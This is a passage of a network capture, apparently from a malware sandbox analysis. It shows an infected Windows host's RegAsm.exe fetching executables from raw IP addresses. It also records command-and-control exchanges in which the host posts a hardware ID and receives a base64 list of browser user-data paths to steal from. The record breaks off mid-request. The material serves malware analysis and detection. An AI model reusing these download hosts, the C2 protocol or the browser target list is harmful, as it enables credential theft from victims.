Sep 6, 2024 08:17:14.364293098 CEST	221	OUT	GET /yuop/66d9de22f231f_crypted.exe#1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Sep 6, 2024 08:17:14.552953959 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 06 Sep 2024 06:17:14 GMT Content-Type: application/octet-stream Content-Length: 331776 Last-Modified: Thu, 05 Sep 2024 16:36:50 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66d9de22-51000" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 c4 dc d9 66 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 0b 00 00 04 05 00 00 0a 00 00 00 00 00 00 de 22 05 00 00 20 00 00 00 40 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 05 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0f 00 00 00 00 00 00 00 00 00 00 00 90 22 05 00 4b 00 00 00 00 40 05 00 14 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 05 00 0c 00 00 00 4c 22 05 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELf" @@ `"K@`L" H.text `.rsrc@@@.reloc`@B"H(&=0]+(OO~:K( s((( ?rpsz6+(cO(N+(D<5((+(QN(%( %(j+(Ri[(((04+(ebi8o(Xo?(0K
Sep 6, 2024 08:17:14.734601974 CEST	227	OUT	GET /revada/66d98aa7bea3e_newPrime.exe#real HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Sep 6, 2024 08:17:14.928803921 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 06 Sep 2024 06:17:14 GMT Content-Type: application/octet-stream Content-Length: 3607496 Last-Modified: Thu, 05 Sep 2024 10:40:39 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66d98aa7-370bc8" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 38 06 b7 aa 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 06 00 00 5c 26 00 00 ea 0f 00 00 00 00 00 2e 7a 26 00 00 20 00 00 00 80 26 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 c0 36 00 00 04 00 00 86 d4 37 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0f 00 00 00 00 00 00 00 00 00 00 00 e0 79 26 00 4b 00 00 00 00 a0 26 00 94 e2 0f 00 00 00 00 00 00 00 00 00 00 4a 36 00 c8 c1 00 00 00 a0 36 00 0c 00 00 00 90 79 26 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL8\&.z& &@ 67@y&K&J66y& H.text4Z& \& `.sdata&`&@.rsrc&d&@@.reloc6H6@B
Sep 6, 2024 08:17:17.310025930 CEST	217	OUT	GET /prog/66d70e8640404_trics.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Sep 6, 2024 08:17:17.493490934 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 06 Sep 2024 06:17:17 GMT Content-Type: application/octet-stream Content-Length: 8684256 Last-Modified: Tue, 03 Sep 2024 13:26:30 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66d70e86-8482e0" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 a8 b8 50 f6 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 06 00 00 08 80 00 00 9e 03 00 00 00 00 00 ce 26 80 00 00 20 00 00 00 40 80 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 84 00 00 04 00 00 49 b2 84 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 80 26 80 00 4b 00 00 00 00 60 80 00 d6 97 03 00 00 00 00 00 00 00 00 00 00 aa 83 00 e0 d8 00 00 00 00 84 00 0c 00 00 00 36 26 80 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELP& @@ I@&K`6& H.text `.sdata@@.rsrc`@@.reloc@B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49738	176.111.174.109	80	7536	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 6, 2024 08:17:04.504693031 CEST	196	OUT	HEAD /bobr HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 176.111.174.109 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49739	31.41.244.9	80	7536	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 6, 2024 08:17:04.507302999 CEST	202	OUT	HEAD /nokia/lamp.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 31.41.244.9 Cache-Control: no-cache
Sep 6, 2024 08:17:05.205362082 CEST	269	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 06 Sep 2024 06:17:05 GMT Content-Type: application/octet-stream Content-Length: 1792000 Last-Modified: Fri, 06 Sep 2024 04:31:27 GMT Connection: keep-alive ETag: "66da859f-1b5800" Accept-Ranges: bytes
Sep 6, 2024 08:17:05.205779076 CEST	201	OUT	GET /nokia/lamp.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 31.41.244.9 Cache-Control: no-cache
Sep 6, 2024 08:17:05.426074028 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 06 Sep 2024 06:17:05 GMT Content-Type: application/octet-stream Content-Length: 1792000 Last-Modified: Fri, 06 Sep 2024 04:31:27 GMT Connection: keep-alive ETag: "66da859f-1b5800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b e5 e6 03 f5 b6 e6 03 f5 b6 e6 03 f5 b6 89 75 5e b6 fe 03 f5 b6 89 75 6b b6 eb 03 f5 b6 89 75 5f b6 dc 03 f5 b6 ef 7b 76 b6 e5 03 f5 b6 66 7a f4 b7 e4 03 f5 b6 ef 7b 66 b6 e1 03 f5 b6 e6 03 f4 b6 8d 03 f5 b6 89 75 5a b6 f4 03 f5 b6 89 75 68 b6 e7 03 f5 b6 52 69 63 68 e6 03 f5 b6 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4d 8b c8 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 c8 01 00 00 42 22 00 00 00 00 00 00 50 68 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 80 68 00 00 04 00 00 a8 0b 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$bu^uku_{vfz{fuZuhRichPELMfB"Ph@h@P#d# #<@.rsrc #L@.idata #L@ P*$N@lxojhmjkPNP@mdoopayt@h2@.taggant0Ph"6@
Sep 6, 2024 08:17:05.426091909 CEST	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Sep 6, 2024 08:17:05.426101923 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Sep 6, 2024 08:17:05.426111937 CEST	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Sep 6, 2024 08:17:05.426354885 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Sep 6, 2024 08:17:05.426404953 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: \|:2[cF?^/O
Sep 6, 2024 08:17:05.426414967 CEST	448	IN	Data Raw: 9a ca 2e 18 b5 c4 4c a3 00 92 f9 83 29 a2 ee de 94 d9 25 41 5d 84 1a 2b 9a 46 d0 70 fe d8 4c 08 e7 34 a8 05 1f 7c 27 39 55 e2 15 6c 66 9a d5 60 99 bc 7d ee 2c 06 15 f2 f8 eb 19 28 96 e7 5a b3 74 a0 08 c6 35 93 1a 28 57 5f 23 d6 e3 ca 32 ce fe b4 Data Ascii: .L)%A]+FpL4\|'9Ulf`},(Zt5(W_#2YWkq> h$_R9&q+a&VDFSn"e]V^e$n\-d,U\<b0`RD,@YLB{XR>3n_^pi[
Sep 6, 2024 08:17:05.426502943 CEST	1236	IN	Data Raw: 8f 68 b3 54 ff 64 2a 84 e3 1c d4 18 55 06 fa a3 8a a4 64 2b ec 7f d6 48 f0 d7 d2 2e e0 1b 85 97 f4 a0 23 b4 c8 85 e2 94 54 a4 ea 68 05 40 99 63 10 89 e0 e8 88 21 5c a8 f0 27 15 1f 7d 94 aa 00 38 83 cc 56 8c b8 d0 45 b7 ec 12 a8 d4 c0 e6 32 c1 9b Data Ascii: hTdUd+H.#Th@c!\'}8VE2(L]\=4xhP7su"c+F\&}@]0b'3u,<-`xe`PYD[xmv{h{W4Y4TN-@>VY% bi$
Sep 6, 2024 08:17:05.426515102 CEST	1236	IN	Data Raw: 8c 58 0a 3b a4 e0 13 ba 2e a4 9c 0c 42 d3 2d 1a 84 20 c9 b6 85 80 ba e8 2b c7 36 28 85 b0 1b 43 76 14 cd 22 8d 6c 47 3a 9d d4 59 61 75 80 39 59 d0 a2 21 58 8d b6 2e 38 cf 28 69 0b 38 9b 08 a0 25 ee 36 04 72 88 f5 bc b4 9b 86 14 b8 f3 8e e8 f0 7a Data Ascii: X;.B- +6(Cv"lG:Yau9Y!X.8(i8%6rzXR%u)`-Nv'<>;.`/'Zh4h_u]`T)LinYolMt7C(H!jbp)+Gzs!#D2fjic&;Y(
Sep 6, 2024 08:17:05.426525116 CEST	448	IN	Data Raw: 99 1c b1 0a 38 e3 21 b6 80 94 e6 ed 21 c8 a9 3b 3c 64 de ae 98 0c 9d a0 d9 10 2b 3b 9d 93 c6 ed c8 a6 bb cf fe 9b 6e 22 c7 98 0a b4 f7 a2 7e 43 f9 89 68 1a 8c 64 56 a0 90 a0 3f 3c 1d 9b 31 3c ec e0 a0 4d fe 89 0a 3b 8c ee e1 68 d7 24 3f 68 85 64 Data Ascii: 8!!;<d+;n"~ChdV?<1<M;h$?hdD&yXb=!^pp2\5yVr;dA]Z(n:LZY'$;;dT?\];Yu<9!L.&\1'px<R2RY6P! T0x!8<:.x)7
Sep 6, 2024 08:17:05.426577091 CEST	1236	IN	Data Raw: f1 08 5d aa a8 9b 52 28 ec 13 de e8 48 aa 6f 2b 80 8c a6 0c 85 81 c7 ab c8 2f 21 25 e0 a5 21 e8 f8 da f9 b8 70 b6 34 33 ec 9c 21 69 fd 91 ae ef de 86 3a 22 b8 9b 32 43 50 24 58 d4 fd de 56 3b 60 82 5b 1b 68 64 24 80 01 e3 21 fc b4 76 14 23 98 f4 Data Ascii: ]R(Ho+/!%!p43!i:"2CP$XV;`[hd$!v#!#m.T 0q82vH89078=\#%*xrlBZP(.(!4<<6r5@% )/Z4g=(_\|R;^X;\|(!8')3@lw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49740	76.76.21.142	80	7536	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 6, 2024 08:17:04.519157887 CEST	183	OUT	Data Raw: 16 03 03 00 b2 01 00 00 ae 03 03 66 da 9e 5f 15 0c d5 25 25 51 a9 5d 27 c9 de 5a f3 11 e2 48 b1 52 9e 27 eb 25 8e 91 5d 4b 02 25 00 00 26 c0 2c c0 2b c0 30 c0 2f c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c 00 35 00 2f Data Ascii: f_%%Q]'ZHR'%]K%&,+0/$#('=<5/_file-link-iota.vercel.app#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49741	76.76.21.142	80	7536	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 6, 2024 08:17:05.000201941 CEST	129	OUT	Data Raw: 16 03 01 00 7c 01 00 00 78 03 01 66 da 9e 5f 5c 9e 6b 32 dd c3 ee ca e9 7c 90 11 ef a3 83 f5 a1 8e 08 4d b1 d7 5e 3f 0a 77 88 99 00 00 0e c0 0a c0 09 c0 14 c0 13 00 35 00 2f 00 0a 01 00 00 41 00 00 00 1e 00 1c 00 00 19 66 69 6c 65 2d 6c 69 6e 6b Data Ascii: \|xf_\k2\|M^?w5/Afile-link-iota.vercel.app#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49742	176.111.174.109	80	7536	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 6, 2024 08:17:05.218965054 CEST	195	OUT	GET /bobr HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 176.111.174.109 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49753	46.8.231.109	80	3052	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 6, 2024 08:17:30.034240007 CEST	87	OUT	GET / HTTP/1.1 Host: 46.8.231.109 Connection: Keep-Alive Cache-Control: no-cache
Sep 6, 2024 08:17:30.642126083 CEST	203	IN	HTTP/1.1 200 OK Date: Fri, 06 Sep 2024 06:17:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 6, 2024 08:17:30.938469887 CEST	413	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDGDAAKFHIEHIECAFBAA Host: 46.8.231.109 Content-Length: 214 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 47 44 41 41 4b 46 48 49 45 48 49 45 43 41 46 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 44 43 38 33 32 35 45 38 45 42 39 32 39 32 35 33 38 32 31 39 33 0d 0a 2d 2d 2d 2d 2d 2d 49 44 47 44 41 41 4b 46 48 49 45 48 49 45 43 41 46 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 49 44 47 44 41 41 4b 46 48 49 45 48 49 45 43 41 46 42 41 41 2d 2d 0d 0a Data Ascii: ------IDGDAAKFHIEHIECAFBAAContent-Disposition: form-data; name="hwid"3DC8325E8EB92925382193------IDGDAAKFHIEHIECAFBAAContent-Disposition: form-data; name="build"default------IDGDAAKFHIEHIECAFBAA--
Sep 6, 2024 08:17:35.274492979 CEST	407	IN	HTTP/1.1 200 OK Date: Fri, 06 Sep 2024 06:17:31 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 54 6b 34 5a 44 46 6a 59 6a 45 77 4d 6d 46 69 4e 6a 45 34 4e 6a 5a 6c 4d 54 41 32 5a 6a 4d 77 4d 44 52 6a 4e 6a 56 68 4d 6a 5a 69 59 6d 59 31 4d 6d 4d 79 5a 54 42 69 4e 47 56 69 4e 44 51 35 5a 44 42 6b 59 7a 64 69 4d 54 55 78 59 32 4e 68 4d 7a 4a 68 4f 44 41 32 59 6d 49 35 4e 44 42 6a 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: YTk4ZDFjYjEwMmFiNjE4NjZlMTA2ZjMwMDRjNjVhMjZiYmY1MmMyZTBiNGViNDQ5ZDBkYzdiMTUxY2NhMzJhODA2YmI5NDBjfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Sep 6, 2024 08:17:35.419374943 CEST	467	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBFHJEGDAFHIJKECFBKJ Host: 46.8.231.109 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 46 48 4a 45 47 44 41 46 48 49 4a 4b 45 43 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 39 38 64 31 63 62 31 30 32 61 62 36 31 38 36 36 65 31 30 36 66 33 30 30 34 63 36 35 61 32 36 62 62 66 35 32 63 32 65 30 62 34 65 62 34 34 39 64 30 64 63 37 62 31 35 31 63 63 61 33 32 61 38 30 36 62 62 39 34 30 63 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 48 4a 45 47 44 41 46 48 49 4a 4b 45 43 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 48 4a 45 47 44 41 46 48 49 4a 4b 45 43 46 42 4b 4a 2d 2d 0d 0a Data Ascii: ------EBFHJEGDAFHIJKECFBKJContent-Disposition: form-data; name="token"a98d1cb102ab61866e106f3004c65a26bbf52c2e0b4eb449d0dc7b151cca32a806bb940c------EBFHJEGDAFHIJKECFBKJContent-Disposition: form-data; name="message"browsers------EBFHJEGDAFHIJKECFBKJ--
Sep 6, 2024 08:17:35.610225916 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 06 Sep 2024 06:17:35 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Sep 6, 2024 08:17:35.610244036 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Sep 6, 2024 08:17:35.846390009 CEST	466	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBFBKFBGIIIDGDGCFCGI Host: 46.8.231.109 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 46 42 4b 46 42 47 49 49 49 44 47 44 47 43 46 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 39 38 64 31 63 62 31 30 32 61 62 36 31 38 36 36 65 31 30 36 66 33 30 30 34 63 36 35 61 32 36 62 62 66 35 32 63 32 65 30 62 34 65 62 34 34 39 64 30 64 63 37 62 31 35 31 63 63 61 33 32 61 38 30 36 62 62 39 34 30 63 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 42 4b 46 42 47 49 49 49 44 47 44 47 43 46 43 47 49 0d 0a 43 